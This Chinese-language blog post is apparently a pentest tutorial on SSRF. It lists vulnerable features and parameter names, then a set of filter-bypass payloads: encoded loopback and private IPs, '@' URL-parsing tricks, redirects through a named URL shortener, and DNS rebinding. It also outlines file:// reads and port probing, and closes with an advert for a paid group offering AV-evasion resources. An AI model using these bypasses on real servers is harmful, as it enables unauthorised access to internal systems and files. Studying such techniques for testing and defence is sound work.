0X01前言
SSRF(Server-Side Request Forgery,服务端请求伪造)漏洞通常是由于目标应用程序未正确验证用户输入数据,导致攻击者发送伪造的请求,绕过网络防御,获取敏感信息或利用其他漏洞进行进一步攻击。
0X02常见的漏洞点
1.功能点
url解析与重定向
图片上传
文件上传
api调用
远程文件包含
导入\导出
网络测试功能
2.参数点
URL
dest
redirect
uri
path
continue
window
next
data
reference
site
html
val
validate
domain
callback
return
page
feed
host
port
to
out
view
dir
show
navigation
IP
domain
webhook
link
image
redirect
calback
api_url
oembed_url
oembed_url
proxy
0X03绕过方式
1.IP表示法
尝试使用不同的IP表示法(如十进制,八进制,十六进制等)绕过输入验证和过滤
127.0.0.1
127.0.0.1–>localhost
127.0.0.1–>7F000001 十六进制
127.0.0.1–>2130706433 十进制
http://192.168.0.1 >>> http://3232235521/
127.0.0.1–>2130706433 Enclosed Alphanumerics
http://192.168.1.1 >>> http://3232235777/
2.域名解析
使用特殊的域名或子域名,如:localhost,127.0.0.1.xip.io等,来访问内部资源
localhost
xip.io
http://127。0。0。1
http://0.0.0.0/
http://0/
3.点分割符号
http://www。qq。com
http://www。qq。com
http://www.qq.com
4.本地回传
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
5.URL编码
尝试使用不同的URL编码方法,如字符编码,双重编码等,绕过输入验证和过滤
对请求得内部地址进行URL编码或者二次URL编码
6.URL解析差易
利用web应用程序和底层服务器之间URL解析差易,如使用"@"字符,尖括号等特殊字符
如先进行正确得域名后面跟内网地址
http://xxx.xxx.xxx@127.0.0.1/XXX
7.HTTP重定向
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,这个时候可以尝试使用302跳转的方式来进行绕过
可通过在线生成短域名进行302跳转
利用HTTP重定向(如301,302跳转将请求从外部资源重定向到内部资源)
访问短网址会自动跳转到原来冗长的网址,利用短网址这个特性,我们可以绕过URL参数检测的黑名单
利用网址:https://www.urlc.cn/
8.DNS重绑定
后端服务器通过DNS解析用户请求的URL参数获取IP地址,然后对返回的IP地址进行判断,如果在黑名单中,就pass掉。由于DNS解析和后续请求存在时间差,可以利用这个时间差进行DNS重绑定攻击。
0X04案例
1.访问内网资源
测试发现可以使用HTTP协议,因此可以通过HTTP访问内网资源。
2.伪协议读取文件
使用file伪协议进行文件读取
3.端口探测
0X05绕过案例
1.利用绕过方法的6解析差易
http://xxx.xxx.xxx@127.0.0.1/XXX
2.利用绕过方法的7http重定向
使用以下网址生成一个短域名,进行跳转所访问的真正资源,中转的网站url则会绕过服务端的检测.
https://www.urlc.cn/
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读